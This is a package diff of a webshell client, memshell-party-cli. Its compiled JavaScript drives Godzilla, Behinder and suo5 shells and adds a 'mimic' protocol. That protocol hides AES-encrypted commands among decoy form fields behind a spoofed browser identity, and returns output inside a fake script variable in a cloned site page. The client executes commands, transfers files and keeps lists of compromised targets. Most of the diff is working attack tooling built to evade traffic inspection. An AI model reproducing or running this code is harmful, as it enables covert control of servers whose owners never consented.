memshell-party-cli 0.3.3 → 0.4.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.en.md +425 -425
- package/README.md +419 -419
- package/dist/cli.js +845 -143
- package/dist/cli.js.map +1 -1
- package/dist/index.d.ts +12 -2
- package/dist/index.js +17 -5
- package/dist/index.js.map +1 -1
- package/package.json +51 -51
- package/skills/memshell-party/SKILL.md +453 -281
package/dist/cli.js
CHANGED
|
@@ -508,15 +508,25 @@ function postRaw(url, body, options = {}) {
|
|
|
508
508
|
if (!isHttps && target.protocol !== "http:") {
|
|
509
509
|
return Promise.reject(new HttpRequestError(`unsupported protocol: ${target.protocol}`, url));
|
|
510
510
|
}
|
|
511
|
+
let proxy = null;
|
|
512
|
+
if (!isHttps && process.env.MEMPARTY_PROXY) {
|
|
513
|
+
try {
|
|
514
|
+
proxy = new URL(process.env.MEMPARTY_PROXY);
|
|
515
|
+
} catch {
|
|
516
|
+
return Promise.reject(
|
|
517
|
+
new HttpRequestError(`invalid MEMPARTY_PROXY: ${process.env.MEMPARTY_PROXY}`, url)
|
|
518
|
+
);
|
|
519
|
+
}
|
|
520
|
+
}
|
|
511
521
|
return new Promise((resolve2, reject) => {
|
|
512
522
|
const started = Date.now();
|
|
513
523
|
const transport = isHttps ? https : http;
|
|
514
524
|
const req = transport.request(
|
|
515
525
|
{
|
|
516
526
|
method: "POST",
|
|
517
|
-
hostname: target.hostname,
|
|
518
|
-
port: target.port || (isHttps ? 443 : 80),
|
|
519
|
-
path: `${target.pathname}${target.search}`,
|
|
527
|
+
hostname: proxy ? proxy.hostname : target.hostname,
|
|
528
|
+
port: proxy ? proxy.port || 8080 : target.port || (isHttps ? 443 : 80),
|
|
529
|
+
path: proxy ? target.toString() : `${target.pathname}${target.search}`,
|
|
520
530
|
// agent:false — never reuse a pooled socket. A shell server may close
|
|
521
531
|
// the connection right after an empty response, and reusing such a
|
|
522
532
|
// socket surfaces as a spurious ECONNRESET on the next probe.
|
|
@@ -1491,18 +1501,434 @@ async function testSuo5(url, options = {}) {
|
|
|
1491
1501
|
};
|
|
1492
1502
|
}
|
|
1493
1503
|
|
|
1494
|
-
// src/
|
|
1495
|
-
import {
|
|
1504
|
+
// src/connect/mimic.ts
|
|
1505
|
+
import { randomInt as randomInt2 } from "crypto";
|
|
1506
|
+
|
|
1507
|
+
// src/core/site-profile.ts
|
|
1508
|
+
import { existsSync, mkdirSync, readdirSync, readFileSync as readFileSync2, writeFileSync } from "fs";
|
|
1496
1509
|
import { homedir as homedir2 } from "os";
|
|
1497
|
-
import {
|
|
1510
|
+
import { join as join2 } from "path";
|
|
1511
|
+
function profileTemplates(profile) {
|
|
1512
|
+
if (Array.isArray(profile.templates) && profile.templates.length > 0) {
|
|
1513
|
+
return profile.templates;
|
|
1514
|
+
}
|
|
1515
|
+
if (profile.template) {
|
|
1516
|
+
return [
|
|
1517
|
+
{
|
|
1518
|
+
title: profile.title ?? "",
|
|
1519
|
+
template: profile.template,
|
|
1520
|
+
contentType: profile.contentType ?? "text/html; charset=utf-8"
|
|
1521
|
+
}
|
|
1522
|
+
];
|
|
1523
|
+
}
|
|
1524
|
+
return [];
|
|
1525
|
+
}
|
|
1526
|
+
function profileRequests(profile) {
|
|
1527
|
+
if (!profile.request) return [];
|
|
1528
|
+
return Array.isArray(profile.request) ? profile.request : [profile.request];
|
|
1529
|
+
}
|
|
1530
|
+
function pickRequestShape(requests) {
|
|
1531
|
+
if (requests.length === 0) return void 0;
|
|
1532
|
+
const total = requests.reduce((s, r) => s + (r.weight ?? 1), 0);
|
|
1533
|
+
let roll = Math.random() * total;
|
|
1534
|
+
for (const r of requests) {
|
|
1535
|
+
roll -= r.weight ?? 1;
|
|
1536
|
+
if (roll <= 0) return r;
|
|
1537
|
+
}
|
|
1538
|
+
return requests[requests.length - 1];
|
|
1539
|
+
}
|
|
1540
|
+
var NAME_RE = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;
|
|
1541
|
+
function profilesDir() {
|
|
1542
|
+
const override = process.env.MEMPARTY_PROFILES;
|
|
1543
|
+
return override ? override : join2(homedir2(), ".memparty", "profiles");
|
|
1544
|
+
}
|
|
1545
|
+
function profilePath(name) {
|
|
1546
|
+
return join2(profilesDir(), `${name}.json`);
|
|
1547
|
+
}
|
|
1548
|
+
function validateProfile(profile) {
|
|
1549
|
+
if (!NAME_RE.test(profile.name)) {
|
|
1550
|
+
throw new Error(
|
|
1551
|
+
`invalid profile name ${JSON.stringify(profile.name)} \u2014 use letters, digits, '.', '_', '-'`
|
|
1552
|
+
);
|
|
1553
|
+
}
|
|
1554
|
+
if (!profile.site || !/^https?:\/\//.test(profile.site)) {
|
|
1555
|
+
throw new Error(`profile.site must be an http(s) origin (got ${JSON.stringify(profile.site)})`);
|
|
1556
|
+
}
|
|
1557
|
+
const templates = profileTemplates(profile);
|
|
1558
|
+
if (templates.length === 0) {
|
|
1559
|
+
throw new Error("profile needs at least one template (templates[] or legacy template)");
|
|
1560
|
+
}
|
|
1561
|
+
templates.forEach((t, i) => {
|
|
1562
|
+
if (!t.template || !/<!doctype\s+html|<html|<head/i.test(t.template)) {
|
|
1563
|
+
throw new Error(`templates[${i}].template must be a full HTML page`);
|
|
1564
|
+
}
|
|
1565
|
+
if (!t.contentType) {
|
|
1566
|
+
throw new Error(`templates[${i}].contentType is required (e.g. "text/html; charset=utf-8")`);
|
|
1567
|
+
}
|
|
1568
|
+
});
|
|
1569
|
+
if (!Array.isArray(profile.paths)) {
|
|
1570
|
+
throw new Error("profile.paths must be an array (may be empty)");
|
|
1571
|
+
}
|
|
1572
|
+
for (const [ri, req] of profileRequests(profile).entries()) {
|
|
1573
|
+
if (!req.secretField || !/^[A-Za-z0-9_.-]+$/.test(req.secretField)) {
|
|
1574
|
+
throw new Error(`request[${ri}].secretField must be a form-field name`);
|
|
1575
|
+
}
|
|
1576
|
+
if (req.secretIn !== void 0 && !["body", "query", "header"].includes(req.secretIn)) {
|
|
1577
|
+
throw new Error(`request[${ri}].secretIn must be body | query | header`);
|
|
1578
|
+
}
|
|
1579
|
+
for (const [i, f] of (req.fields ?? []).entries()) {
|
|
1580
|
+
if (!f.name || !/^[A-Za-z0-9_.-]+$/.test(f.name)) {
|
|
1581
|
+
throw new Error(`request[${ri}].fields[${i}].name must be a form-field name`);
|
|
1582
|
+
}
|
|
1583
|
+
if (f.name === req.secretField) {
|
|
1584
|
+
throw new Error(`request[${ri}].fields[${i}] duplicates secretField`);
|
|
1585
|
+
}
|
|
1586
|
+
}
|
|
1587
|
+
}
|
|
1588
|
+
}
|
|
1589
|
+
function saveProfile(profile) {
|
|
1590
|
+
validateProfile(profile);
|
|
1591
|
+
const dir = profilesDir();
|
|
1592
|
+
mkdirSync(dir, { recursive: true });
|
|
1593
|
+
writeFileSync(profilePath(profile.name), `${JSON.stringify(profile, null, 2)}
|
|
1594
|
+
`, "utf8");
|
|
1595
|
+
}
|
|
1596
|
+
function loadProfile(name) {
|
|
1597
|
+
const path = profilePath(name);
|
|
1598
|
+
if (!existsSync(path)) {
|
|
1599
|
+
throw new Error(
|
|
1600
|
+
`unknown profile ${JSON.stringify(name)} \u2014 scaffold one with 'memparty profile init ${name} --site <origin>' and fill in the template/paths by hand (stored: ${listProfiles().join(", ") || "(none)"})`
|
|
1601
|
+
);
|
|
1602
|
+
}
|
|
1603
|
+
const profile = JSON.parse(readFileSync2(path, "utf8"));
|
|
1604
|
+
validateProfile(profile);
|
|
1605
|
+
return profile;
|
|
1606
|
+
}
|
|
1607
|
+
function listProfiles() {
|
|
1608
|
+
const dir = profilesDir();
|
|
1609
|
+
if (!existsSync(dir)) return [];
|
|
1610
|
+
return readdirSync(dir).filter((f) => f.endsWith(".json")).map((f) => f.slice(0, -".json".length)).sort();
|
|
1611
|
+
}
|
|
1612
|
+
function profileSkeleton(name, site) {
|
|
1613
|
+
return {
|
|
1614
|
+
name,
|
|
1615
|
+
site: site.replace(/\/+$/, ""),
|
|
1616
|
+
createdAt: (/* @__PURE__ */ new Date()).toISOString(),
|
|
1617
|
+
templates: [
|
|
1618
|
+
{
|
|
1619
|
+
title: "",
|
|
1620
|
+
template: '<!DOCTYPE html>\n<html>\n<head>\n<meta charset="UTF-8">\n<title></title>\n</head>\n<body>\n</body>\n</html>\n',
|
|
1621
|
+
contentType: "text/html; charset=utf-8"
|
|
1622
|
+
}
|
|
1623
|
+
],
|
|
1624
|
+
paths: []
|
|
1625
|
+
};
|
|
1626
|
+
}
|
|
1627
|
+
|
|
1628
|
+
// src/connect/mimic-shared.ts
|
|
1629
|
+
import { randomBytes as randomBytes3, randomInt, randomUUID } from "crypto";
|
|
1630
|
+
function deriveAesKey(secretKey) {
|
|
1631
|
+
return md5Key16(secretKey);
|
|
1632
|
+
}
|
|
1633
|
+
function renderFieldValue(value) {
|
|
1634
|
+
return value.replaceAll(
|
|
1635
|
+
/\{\{hex:(\d+)\}\}/g,
|
|
1636
|
+
(_m, n) => randomBytes3(Math.ceil(Number(n) / 2)).toString("hex").slice(0, Number(n))
|
|
1637
|
+
).replaceAll(
|
|
1638
|
+
/\{\{b64:(\d+)\}\}/g,
|
|
1639
|
+
(_m, n) => randomBytes3(Math.ceil(Number(n) * 3 / 4)).toString("base64url").slice(0, Number(n))
|
|
1640
|
+
).replaceAll(/\{\{uuid\}\}/g, () => randomUUID()).replaceAll(/\{\{ts\}\}/g, () => String(Math.floor(Date.now() / 1e3))).replaceAll(
|
|
1641
|
+
/\{\{int:(\d+):(\d+)\}\}/g,
|
|
1642
|
+
(_m, a, b) => String(randomInt(Number(a), Number(b) + 1))
|
|
1643
|
+
);
|
|
1644
|
+
}
|
|
1645
|
+
function deriveLeftMarker(pass, secretKey) {
|
|
1646
|
+
return `var Re${md5Hex(pass + secretKey).slice(0, 5)}_config="`;
|
|
1647
|
+
}
|
|
1648
|
+
var RIGHT_MARKER = '";';
|
|
1649
|
+
function encryptField(plaintext, aesKey) {
|
|
1650
|
+
return aesEcbEncrypt(plaintext, aesKey).toString("base64");
|
|
1651
|
+
}
|
|
1652
|
+
function decryptField(b64, aesKey) {
|
|
1653
|
+
return aesEcbDecrypt(Buffer.from(b64, "base64"), aesKey);
|
|
1654
|
+
}
|
|
1655
|
+
function buildFormBody(fields) {
|
|
1656
|
+
return Buffer.from(
|
|
1657
|
+
fields.map((f) => `${f.name}=${encodeURIComponent(f.value)}`).join("&"),
|
|
1658
|
+
"utf8"
|
|
1659
|
+
);
|
|
1660
|
+
}
|
|
1661
|
+
function decodeRequestBody(body, pass, aesKey) {
|
|
1662
|
+
const text = body.toString("utf8");
|
|
1663
|
+
for (const pair of text.split("&")) {
|
|
1664
|
+
const eq = pair.indexOf("=");
|
|
1665
|
+
if (eq <= 0) continue;
|
|
1666
|
+
if (pair.slice(0, eq) !== pass) continue;
|
|
1667
|
+
const value = decodeURIComponent(pair.slice(eq + 1));
|
|
1668
|
+
try {
|
|
1669
|
+
return decryptField(value, aesKey);
|
|
1670
|
+
} catch {
|
|
1671
|
+
return null;
|
|
1672
|
+
}
|
|
1673
|
+
}
|
|
1674
|
+
return null;
|
|
1675
|
+
}
|
|
1676
|
+
function injectIntoTemplate(templateHtml, b64Cipher, leftMarker) {
|
|
1677
|
+
const script = `<script>${leftMarker}${b64Cipher}${RIGHT_MARKER}</script>`;
|
|
1678
|
+
const idx = templateHtml.toLowerCase().lastIndexOf("</body>");
|
|
1679
|
+
if (idx === -1) return templateHtml + script;
|
|
1680
|
+
return templateHtml.slice(0, idx) + script + templateHtml.slice(idx);
|
|
1681
|
+
}
|
|
1682
|
+
function extractFromHtml(html, leftMarker) {
|
|
1683
|
+
const start = html.indexOf(leftMarker);
|
|
1684
|
+
if (start === -1) return null;
|
|
1685
|
+
const valueStart = start + leftMarker.length;
|
|
1686
|
+
const end = html.indexOf(RIGHT_MARKER, valueStart);
|
|
1687
|
+
if (end === -1) return null;
|
|
1688
|
+
return html.slice(valueStart, end);
|
|
1689
|
+
}
|
|
1690
|
+
|
|
1691
|
+
// src/connect/mimic.ts
|
|
1692
|
+
var BROWSER_HEADERS = {
|
|
1693
|
+
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36",
|
|
1694
|
+
Accept: "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
|
|
1695
|
+
"Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",
|
|
1696
|
+
"Content-Type": "application/x-www-form-urlencoded"
|
|
1697
|
+
};
|
|
1698
|
+
function buildContext(req) {
|
|
1699
|
+
const pass = req.conn.pass ?? "pass";
|
|
1700
|
+
const secretKey = req.conn.key ?? "key";
|
|
1701
|
+
let profile;
|
|
1702
|
+
const profileName = req.options.profile ?? req.conn.profile;
|
|
1703
|
+
if (profileName) {
|
|
1704
|
+
profile = loadProfile(profileName);
|
|
1705
|
+
}
|
|
1706
|
+
return {
|
|
1707
|
+
pass,
|
|
1708
|
+
aesKey: deriveAesKey(secretKey),
|
|
1709
|
+
leftMarker: deriveLeftMarker(pass, secretKey),
|
|
1710
|
+
profile,
|
|
1711
|
+
dynamicPath: req.options.dynamicPath ?? false
|
|
1712
|
+
};
|
|
1713
|
+
}
|
|
1714
|
+
function pickRequestUrl(connUrl, ctx) {
|
|
1715
|
+
if (!ctx.dynamicPath || !ctx.profile || ctx.profile.paths.length === 0) {
|
|
1716
|
+
return connUrl;
|
|
1717
|
+
}
|
|
1718
|
+
const origin = new URL(connUrl).origin;
|
|
1719
|
+
const dir = ctx.profile.paths[randomInt2(ctx.profile.paths.length)];
|
|
1720
|
+
const slug = randomString(8).toLowerCase();
|
|
1721
|
+
return `${origin}${dir}${slug}`;
|
|
1722
|
+
}
|
|
1723
|
+
async function roundTrip(req, ctx, plaintext) {
|
|
1724
|
+
let requestUrl = pickRequestUrl(req.conn.url, ctx);
|
|
1725
|
+
const shape = pickRequestShape(ctx.profile ? profileRequests(ctx.profile) : []);
|
|
1726
|
+
const secretField = shape?.secretField ?? ctx.pass;
|
|
1727
|
+
const secretIn = shape?.secretIn ?? "body";
|
|
1728
|
+
const cipher = encryptField(Buffer.from(plaintext, "utf8"), ctx.aesKey);
|
|
1729
|
+
const decoys = (shape?.fields ?? []).map((f) => ({
|
|
1730
|
+
name: f.name,
|
|
1731
|
+
value: renderFieldValue(f.value)
|
|
1732
|
+
}));
|
|
1733
|
+
let body;
|
|
1734
|
+
const extraHeaders = {};
|
|
1735
|
+
if (secretIn === "query") {
|
|
1736
|
+
const qs = buildFormBody([...decoys, { name: secretField, value: cipher }]).toString();
|
|
1737
|
+
requestUrl += (requestUrl.includes("?") ? "&" : "?") + qs;
|
|
1738
|
+
body = Buffer.alloc(0);
|
|
1739
|
+
} else if (secretIn === "header") {
|
|
1740
|
+
extraHeaders[secretField] = cipher;
|
|
1741
|
+
body = buildFormBody(decoys);
|
|
1742
|
+
} else {
|
|
1743
|
+
body = buildFormBody([...decoys, { name: secretField, value: cipher }]);
|
|
1744
|
+
}
|
|
1745
|
+
const headers = buildHeaders({ ...BROWSER_HEADERS, ...extraHeaders }, req.common);
|
|
1746
|
+
let res;
|
|
1747
|
+
try {
|
|
1748
|
+
res = await postRaw(requestUrl, body, {
|
|
1749
|
+
headers,
|
|
1750
|
+
timeoutMs: req.common.timeoutMs,
|
|
1751
|
+
insecure: req.common.insecure
|
|
1752
|
+
});
|
|
1753
|
+
} catch (err) {
|
|
1754
|
+
return {
|
|
1755
|
+
ok: false,
|
|
1756
|
+
error: err instanceof Error ? err.message : String(err),
|
|
1757
|
+
requestUrl,
|
|
1758
|
+
status: 0,
|
|
1759
|
+
durationMs: 0
|
|
1760
|
+
};
|
|
1761
|
+
}
|
|
1762
|
+
if (res.status !== 200) {
|
|
1763
|
+
return {
|
|
1764
|
+
ok: false,
|
|
1765
|
+
error: `HTTP ${res.status} \u2014 the endpoint did not answer like a mimic shell`,
|
|
1766
|
+
requestUrl,
|
|
1767
|
+
status: res.status,
|
|
1768
|
+
durationMs: res.durationMs
|
|
1769
|
+
};
|
|
1770
|
+
}
|
|
1771
|
+
const b64 = extractFromHtml(res.body.toString("utf8"), ctx.leftMarker);
|
|
1772
|
+
if (b64 === null) {
|
|
1773
|
+
return {
|
|
1774
|
+
ok: false,
|
|
1775
|
+
error: "response marker not found \u2014 wrong pass/key, or the page is not a mimic shell",
|
|
1776
|
+
requestUrl,
|
|
1777
|
+
status: res.status,
|
|
1778
|
+
durationMs: res.durationMs
|
|
1779
|
+
};
|
|
1780
|
+
}
|
|
1781
|
+
try {
|
|
1782
|
+
const output = decryptField(b64, ctx.aesKey).toString("utf8");
|
|
1783
|
+
return { ok: true, output, requestUrl, status: res.status, durationMs: res.durationMs };
|
|
1784
|
+
} catch {
|
|
1785
|
+
return {
|
|
1786
|
+
ok: false,
|
|
1787
|
+
error: "response decryption failed \u2014 wrong key?",
|
|
1788
|
+
requestUrl,
|
|
1789
|
+
status: res.status,
|
|
1790
|
+
durationMs: res.durationMs
|
|
1791
|
+
};
|
|
1792
|
+
}
|
|
1793
|
+
}
|
|
1794
|
+
var mimicProtocol = {
|
|
1795
|
+
name: "mimic",
|
|
1796
|
+
description: "site-mimicking demo protocol (profile-driven HTML skin + dynamic paths)",
|
|
1797
|
+
async test(req) {
|
|
1798
|
+
const started = Date.now();
|
|
1799
|
+
const tool = "mimic";
|
|
1800
|
+
const url = req.conn.url;
|
|
1801
|
+
let ctx;
|
|
1802
|
+
try {
|
|
1803
|
+
ctx = buildContext(req);
|
|
1804
|
+
} catch (err) {
|
|
1805
|
+
return {
|
|
1806
|
+
ok: false,
|
|
1807
|
+
tool,
|
|
1808
|
+
url,
|
|
1809
|
+
error: err instanceof Error ? err.message : String(err),
|
|
1810
|
+
durationMs: Date.now() - started
|
|
1811
|
+
};
|
|
1812
|
+
}
|
|
1813
|
+
const canary = randomString(12);
|
|
1814
|
+
const r = await roundTrip(req, ctx, `echo ${canary}`);
|
|
1815
|
+
if (!r.ok) {
|
|
1816
|
+
return { ok: false, tool, url, error: r.error, durationMs: Date.now() - started };
|
|
1817
|
+
}
|
|
1818
|
+
if (!r.output.includes(canary)) {
|
|
1819
|
+
return {
|
|
1820
|
+
ok: false,
|
|
1821
|
+
tool,
|
|
1822
|
+
url,
|
|
1823
|
+
error: "round-trip mismatch \u2014 endpoint decrypted but did not execute the canary",
|
|
1824
|
+
durationMs: Date.now() - started
|
|
1825
|
+
};
|
|
1826
|
+
}
|
|
1827
|
+
const profileNote = ctx.profile ? `profile=${ctx.profile.name}` : "no profile";
|
|
1828
|
+
const pathNote = r.requestUrl === url ? "fixed path" : `dynamic path ${r.requestUrl}`;
|
|
1829
|
+
return {
|
|
1830
|
+
ok: true,
|
|
1831
|
+
tool,
|
|
1832
|
+
url,
|
|
1833
|
+
detail: `round-trip ok (${profileNote}; ${pathNote})`,
|
|
1834
|
+
durationMs: Date.now() - started
|
|
1835
|
+
};
|
|
1836
|
+
},
|
|
1837
|
+
async exec(req, command) {
|
|
1838
|
+
const started = Date.now();
|
|
1839
|
+
const tool = "mimic";
|
|
1840
|
+
const url = req.conn.url;
|
|
1841
|
+
let ctx;
|
|
1842
|
+
try {
|
|
1843
|
+
ctx = buildContext(req);
|
|
1844
|
+
} catch (err) {
|
|
1845
|
+
return {
|
|
1846
|
+
ok: false,
|
|
1847
|
+
tool,
|
|
1848
|
+
url,
|
|
1849
|
+
command,
|
|
1850
|
+
error: err instanceof Error ? err.message : String(err),
|
|
1851
|
+
durationMs: Date.now() - started
|
|
1852
|
+
};
|
|
1853
|
+
}
|
|
1854
|
+
const r = await roundTrip(req, ctx, command);
|
|
1855
|
+
if (!r.ok) {
|
|
1856
|
+
return { ok: false, tool, url, command, error: r.error, durationMs: Date.now() - started };
|
|
1857
|
+
}
|
|
1858
|
+
return { ok: true, tool, url, command, output: r.output, durationMs: Date.now() - started };
|
|
1859
|
+
}
|
|
1860
|
+
};
|
|
1861
|
+
|
|
1862
|
+
// src/connect/registry.ts
|
|
1863
|
+
var protocols = /* @__PURE__ */ new Map();
|
|
1864
|
+
function registerProtocol(protocol) {
|
|
1865
|
+
protocols.set(protocol.name, protocol);
|
|
1866
|
+
}
|
|
1867
|
+
function getProtocol(name) {
|
|
1868
|
+
return protocols.get(name);
|
|
1869
|
+
}
|
|
1870
|
+
function protocolNames(capability) {
|
|
1871
|
+
const all = [...protocols.values()];
|
|
1872
|
+
const usable = capability ? all.filter((p) => p[capability] !== void 0) : all;
|
|
1873
|
+
return usable.map((p) => p.name);
|
|
1874
|
+
}
|
|
1875
|
+
function requireProtocol(name) {
|
|
1876
|
+
const protocol = getProtocol(name);
|
|
1877
|
+
if (!protocol) {
|
|
1878
|
+
throw new Error(`unknown protocol ${JSON.stringify(name)} (available: ${protocolNames().join(", ")})`);
|
|
1879
|
+
}
|
|
1880
|
+
return protocol;
|
|
1881
|
+
}
|
|
1882
|
+
function unsupportedMessage(protocol, capability) {
|
|
1883
|
+
return `protocol '${protocol.name}' does not support ${capability}`;
|
|
1884
|
+
}
|
|
1885
|
+
var godzillaProtocol = {
|
|
1886
|
+
name: "godzilla",
|
|
1887
|
+
description: "Godzilla JAVA_AES_BASE64 shell",
|
|
1888
|
+
test: ({ conn, common }) => testGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", common),
|
|
1889
|
+
exec: ({ conn, common, options }, command) => execGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", command, {
|
|
1890
|
+
...common,
|
|
1891
|
+
os: options.os
|
|
1892
|
+
}),
|
|
1893
|
+
upload: ({ conn, common, options }, remotePath, data) => uploadGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", remotePath, data, {
|
|
1894
|
+
...common,
|
|
1895
|
+
remoteCharset: options.remoteCharset
|
|
1896
|
+
}),
|
|
1897
|
+
download: ({ conn, common, options }, remotePath) => downloadGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", remotePath, {
|
|
1898
|
+
...common,
|
|
1899
|
+
remoteCharset: options.remoteCharset
|
|
1900
|
+
})
|
|
1901
|
+
};
|
|
1902
|
+
var behinderProtocol = {
|
|
1903
|
+
name: "behinder",
|
|
1904
|
+
description: "Behinder AES shell",
|
|
1905
|
+
test: ({ conn, common }) => testBehinder(conn.url, conn.pass ?? "rebeyond", common),
|
|
1906
|
+
exec: ({ conn, common }, command) => execBehinder(conn.url, conn.pass ?? "rebeyond", command, common),
|
|
1907
|
+
upload: ({ conn, common }, remotePath, data) => uploadBehinder(conn.url, conn.pass ?? "rebeyond", remotePath, data, common),
|
|
1908
|
+
download: ({ conn, common }, remotePath) => downloadBehinder(conn.url, conn.pass ?? "rebeyond", remotePath, common)
|
|
1909
|
+
};
|
|
1910
|
+
var suo5Protocol = {
|
|
1911
|
+
name: "suo5",
|
|
1912
|
+
description: "suo5 HTTP tunnel (connect test only)",
|
|
1913
|
+
test: ({ conn, common, options }) => testSuo5(conn.url, { ...common, mode: options.suo5Mode })
|
|
1914
|
+
};
|
|
1915
|
+
registerProtocol(godzillaProtocol);
|
|
1916
|
+
registerProtocol(behinderProtocol);
|
|
1917
|
+
registerProtocol(suo5Protocol);
|
|
1918
|
+
registerProtocol(mimicProtocol);
|
|
1919
|
+
|
|
1920
|
+
// src/core/oplog.ts
|
|
1921
|
+
import { appendFileSync, existsSync as existsSync2, mkdirSync as mkdirSync2, readFileSync as readFileSync3 } from "fs";
|
|
1922
|
+
import { homedir as homedir3 } from "os";
|
|
1923
|
+
import { dirname, join as join3 } from "path";
|
|
1498
1924
|
var OUTPUT_LIMIT = 2e3;
|
|
1499
1925
|
function opLogPath() {
|
|
1500
|
-
return process.env.MEMPARTY_OPLOG ??
|
|
1926
|
+
return process.env.MEMPARTY_OPLOG ?? join3(homedir3(), ".memparty", "operations.jsonl");
|
|
1501
1927
|
}
|
|
1502
1928
|
function logOp(entry) {
|
|
1503
1929
|
try {
|
|
1504
1930
|
const file = opLogPath();
|
|
1505
|
-
|
|
1931
|
+
mkdirSync2(dirname(file), { recursive: true });
|
|
1506
1932
|
appendFileSync(file, `${JSON.stringify({ ts: (/* @__PURE__ */ new Date()).toISOString(), ...entry })}
|
|
1507
1933
|
`);
|
|
1508
1934
|
} catch {
|
|
@@ -1512,8 +1938,8 @@ function readOps(filter = {}) {
|
|
|
1512
1938
|
let entries = [];
|
|
1513
1939
|
try {
|
|
1514
1940
|
const file = opLogPath();
|
|
1515
|
-
if (
|
|
1516
|
-
for (const line of
|
|
1941
|
+
if (existsSync2(file)) {
|
|
1942
|
+
for (const line of readFileSync3(file, "utf8").split("\n")) {
|
|
1517
1943
|
const trimmed = line.trim();
|
|
1518
1944
|
if (!trimmed) continue;
|
|
1519
1945
|
try {
|
|
@@ -1558,25 +1984,25 @@ function formatOp(e) {
|
|
|
1558
1984
|
}
|
|
1559
1985
|
|
|
1560
1986
|
// src/core/targets.ts
|
|
1561
|
-
import { existsSync as
|
|
1562
|
-
import { homedir as
|
|
1563
|
-
import { dirname as dirname2, join as
|
|
1564
|
-
var
|
|
1987
|
+
import { existsSync as existsSync3, mkdirSync as mkdirSync3, readFileSync as readFileSync4, writeFileSync as writeFileSync2 } from "fs";
|
|
1988
|
+
import { homedir as homedir4 } from "os";
|
|
1989
|
+
import { dirname as dirname2, join as join4 } from "path";
|
|
1990
|
+
var NAME_RE2 = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;
|
|
1565
1991
|
function checkName(kind, name) {
|
|
1566
|
-
if (!
|
|
1992
|
+
if (!NAME_RE2.test(name)) {
|
|
1567
1993
|
throw new Error(
|
|
1568
1994
|
`invalid ${kind} name ${JSON.stringify(name)} \u2014 use letters, digits, '.', '_', '-'`
|
|
1569
1995
|
);
|
|
1570
1996
|
}
|
|
1571
1997
|
}
|
|
1572
1998
|
function targetStorePath() {
|
|
1573
|
-
return process.env.MEMPARTY_TARGETS ??
|
|
1999
|
+
return process.env.MEMPARTY_TARGETS ?? join4(homedir4(), ".memparty", "targets.json");
|
|
1574
2000
|
}
|
|
1575
2001
|
function listProjects() {
|
|
1576
2002
|
try {
|
|
1577
2003
|
const file = targetStorePath();
|
|
1578
|
-
if (!
|
|
1579
|
-
const data = JSON.parse(
|
|
2004
|
+
if (!existsSync3(file)) return {};
|
|
2005
|
+
const data = JSON.parse(readFileSync4(file, "utf8"));
|
|
1580
2006
|
if (data !== null && typeof data === "object" && !Array.isArray(data)) {
|
|
1581
2007
|
return data;
|
|
1582
2008
|
}
|
|
@@ -1589,8 +2015,8 @@ function getProject(name) {
|
|
|
1589
2015
|
}
|
|
1590
2016
|
function writeProjects(projects) {
|
|
1591
2017
|
const file = targetStorePath();
|
|
1592
|
-
|
|
1593
|
-
|
|
2018
|
+
mkdirSync3(dirname2(file), { recursive: true });
|
|
2019
|
+
writeFileSync2(file, `${JSON.stringify(projects, null, 2)}
|
|
1594
2020
|
`, { mode: 384 });
|
|
1595
2021
|
}
|
|
1596
2022
|
function saveProjectMeta(name, meta) {
|
|
@@ -1697,7 +2123,8 @@ function autoSaveShell(conn) {
|
|
|
1697
2123
|
headerName: conn.headerName,
|
|
1698
2124
|
headerValue: conn.headerValue,
|
|
1699
2125
|
extraHeaders: Object.keys(conn.extraHeaders).length > 0 ? conn.extraHeaders : void 0,
|
|
1700
|
-
insecure: conn.insecure
|
|
2126
|
+
insecure: conn.insecure,
|
|
2127
|
+
profile: conn.profile
|
|
1701
2128
|
});
|
|
1702
2129
|
return `${projectName}/${shellName}`;
|
|
1703
2130
|
}
|
|
@@ -1739,7 +2166,7 @@ function resolveConnection(ref, flags) {
|
|
|
1739
2166
|
throw new Error("no URL \u2014 pass --url or a saved target name");
|
|
1740
2167
|
}
|
|
1741
2168
|
if (!tool) {
|
|
1742
|
-
throw new Error("--tool is required
|
|
2169
|
+
throw new Error("--tool is required \u2014 see the command's --help for available protocols");
|
|
1743
2170
|
}
|
|
1744
2171
|
return {
|
|
1745
2172
|
url,
|
|
@@ -1750,6 +2177,7 @@ function resolveConnection(ref, flags) {
|
|
|
1750
2177
|
headerValue: flags.headerValue ?? stored?.headerValue,
|
|
1751
2178
|
extraHeaders: { ...stored?.extraHeaders, ...flags.extraHeaders },
|
|
1752
2179
|
insecure: flags.insecure ?? stored?.insecure,
|
|
2180
|
+
profile: flags.profile ?? stored?.profile,
|
|
1753
2181
|
targetName
|
|
1754
2182
|
};
|
|
1755
2183
|
}
|
|
@@ -1768,10 +2196,8 @@ function parseExtraHeaders(lines) {
|
|
|
1768
2196
|
}
|
|
1769
2197
|
function registerConnectCommand(program) {
|
|
1770
2198
|
program.command("connect").description(
|
|
1771
|
-
"Test whether a deployed webshell
|
|
1772
|
-
).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
|
|
1773
|
-
new Option("-t, --tool <tool>", "shell tool").choices(["godzilla", "behinder", "suo5"])
|
|
1774
|
-
).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key", "key").option(
|
|
2199
|
+
"Test whether a deployed webshell is alive and the credentials work"
|
|
2200
|
+
).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(new Option("-t, --tool <tool>", "shell protocol").choices(protocolNames())).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla/mimic key", "key").option(
|
|
1775
2201
|
"--header-name <name>",
|
|
1776
2202
|
"gate header name reported by gen (shellToolConfig.headerName)"
|
|
1777
2203
|
).option(
|
|
